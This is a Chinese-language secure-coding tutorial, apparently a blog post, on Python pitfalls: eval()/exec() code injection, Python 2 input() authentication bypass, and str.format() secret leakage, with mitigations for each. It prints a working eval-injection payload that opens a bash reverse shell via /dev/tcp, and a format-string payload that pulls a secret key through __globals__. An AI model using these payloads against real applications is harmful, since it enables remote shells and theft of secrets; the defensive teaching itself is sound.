如何确保你的Python应用程序免受黑客攻击

92 阅读5分钟

确保你的Python应用程序免受黑客攻击

Python在网络安全方面已经变得非常有用,因为它支持并执行大量的网络安全功能,如恶意软件分析、扫描、渗透测试等。然而,在任何Python代码中都很容易犯错,使程序变得脆弱。

在本教程中,我将帮助你避免那些可能使你的程序受到攻击的错误。

使用一种充满漏洞的编程语言创建一个安全的程序是可能的,而使用一种被设计为安全的编程语言创建一个脆弱的程序也是可能的。

危险的函数

有些函数很危险,有些可以用来进行某种代码注入或认证绕过。让我们把自己放在黑客的位置上,像他们一样思考,学习如何更好地保护我们的代码。

Eval()

Python的eval() ,让你有能力传递一个字符串,将其作为代码执行。例如,eval("2 ** 8") 将返回256

让我们做一个简单的Python应用程序。

def addition(x, y):
  return eval("%s + %s" % (x, y))

result = addition(2, 4)
print(result)

这是一个非常简单的计算器,它给你两个数字的总和。如果你执行该代码,那么你将得到6 作为结果。

现在让我们把这个计算器变成一个使用JSON来传递用户输入的应用程序。

def addition(x, y):
  return eval("%s + %s" % (x, y))

result = addition(request.json['x'], request.json['y'])
print("Our result is %d." % result)

如果我们像之前的代码那样传递{"x":"2", "y":"4"} ,那么结果当然是6

然而,如果我们提供别的东西,如。

{"x":"__import__('os').system('bash -i >& /dev/tcp/10.0.2.15/8080 0>&1')#", "y":"4"}

这个恶意代码将迫使我们的计算器调用os.system ,然后产生一个反向shell到IP "10.0.2.15",端口 "8080"。

10.0.2.15是一个私人网络地址,它不能从互联网上访问。

Exec()

这个函数类似于eval() ,它执行一个字符串或一个代码对象。

code = 'x = 2\ny=4\nprint("result =", x+y)'
exec(code)

输出结果将是6 。你可以用我们之前的方法来利用它。

现在如果你想使用这些函数,你必须检查用户被允许使用哪些方法和变量。

exec('print(dir())')

输出的结果是。

['In', 'Out', '_', '__', '___', '__builtin__', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__', '_dh', '_i', '_i1', '_i2', '_i3', '_i4', '_i5', '_i6', '_i7', '_i8', '_ih', '_ii', '_iii', '_oh', 'addition', 'exit', 'get_ipython', 'quit', 'result']

那些可以访问的变量和方法,有很多可能对你的代码来说是没有必要的。因此,你可以通过向方法传递可选的localsglobals 参数来为用户进行限制。

比如说。

from math import *
exec('print(dir())')

那么输出结果将是。

['In', 'Out', '_', '__', '___', '__builtin__', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__', '_dh', '_i', '_i1', '_i10', '_i11', '_i2', '_i3', '_i4', '_i5', '_i6', '_i7', '_i8', '_i9', '_ih', '_ii', '_iii', '_oh', 'acos', 'acosh', 'addition', 'asin', 'asinh', 'atan', 'atan2', 'atanh', 'ceil', 'copysign', 'cos', 'cosh', 'degrees', 'e', 'erf', 'erfc', 'exit', 'exp', 'expm1', 'fabs', 'factorial', 'floor', 'fmod', 'frexp', 'fsum', 'gamma', 'gcd', 'get_ipython', 'hypot', 'inf', 'isclose', 'isfinite', 'isinf', 'isnan', 'ldexp', 'lgamma', 'log', 'log10', 'log1p', 'log2', 'math', 'modf', 'nan', 'pi', 'pow', 'quit', 'radians', 'remainder', 'result', 'sin', 'sinh', 'sqrt', 'tan', 'tanh', 'tau', 'trunc']

如果我们传递一个空的字典作为globals ,那么只有__builtins__ ,这个对象才可以使用。

这意味着如果你试图访问数学模块所提供的任何函数,那么它将引发一个异常。

from math import *
exec('print(dir())', {})

输出的结果是。

['__builtins__']

如果你想提供特定的方法来使用,那么你需要做以下工作。

from math import *

func = input("Enter the math function:")
try:
     exec(func, {"squareroot": sqrt,"__builtins__": None, "print": print})
        
except Exception as ex:
     print(ex)

这将使用户能够通过使用squareroot() ,执行sqrt 方法。然而,如果他试图使用sqrt() ,那么将引发一个异常。他们不能使用任何内置函数,除了print()

现在,如果我们运行我们的代码并将print(squareroot(16)) 作为输入。那么结果将是4

但是如果我们试图使用print(max(1,2)) (它是math 库中的一个内置函数,但是exec()函数不能访问它),那么结果将是TypeError ,这是一个异常,将被except 块捕获。

'NoneType' object is not subscriptable

Input()

你只能在Python 2中找到这个漏洞,在Python 3中没有。

在Python 2中的这个函数接受值的类型,因为它没有改变其类型。

secret = 5
number = input("Guess the secret number")
if number==secret:
    print("YES")
else:
    print("NO")

现在我们有一个秘密数字,我们想让用户猜出它。如果我们传递5 ,那么结果将是YES ,否则将是NO

如果我们传入secret ,那么结果将是YES ,因为现在的 Python 条件是。

if secret==secret: // This will be true

就这样,你可以传递任何密码,导致认证绕过。另外,还有很多其他方法可以利用这个函数。

为了解决这个问题,当你使用Python 2时,你需要使用raw_input() ,而不是input()raw_input() 将把用户的任何输入转换为一个字符串。

如果你使用的是Python 3,你不必担心这个问题,因为input()raw_input() 相同。

字符串格式化的利用

这可能是一个非常危险的方法,因为它可能导致黑客绕过认证,并让他们获得敏感信息。那么,这是如何做到的呢?

让我们建立一个简单的应用程序,假设CONFIG包含敏感信息,如API密钥

CONFIG = {
    "KEY" : "SECRET_KEY"
}

class info:
    def __init__(self, first, last):
        self.first = first
        self.last = last

def getName(some_str, peopleinfo_obj):
    return some_str.format(peopleinfo_obj = peopleinfo_obj)

people = info('Ahmad', 'Mardeni')

stri = input()
getName(stri, peopleinfo_obj = people)

现在,如果用户传递以下内容作为输入。

Name_is_{peopleinfo_obj.first}_{peopleinfo_obj.last}

那么输出将是。

'Name_is_Ahmad_Mardeni'

但如果他们将以下内容作为输入。

{peopleinfo_obj.__init__.__globals__[CONFIG][KEY]}

那么我们的敏感信息将被泄露,输出结果将是。

'SECRET_KEY'

发生这种情况是因为字符串格式化函数可以访问属性对象。

而现在的问题是;使用str.format() 还是很好的吗?是的,但你必须意识到,当它与用户控制的字符串一起使用时,它就会变得脆弱。

总结

我们了解了危险的函数eval(),exec(), 和input() ,黑客如何利用它们来入侵你的 Python 代码,最后,如何保护自己免受它们的侵害。

除了语言特有的漏洞外,你还必须注意其他漏洞,如XSSSQL注入等等。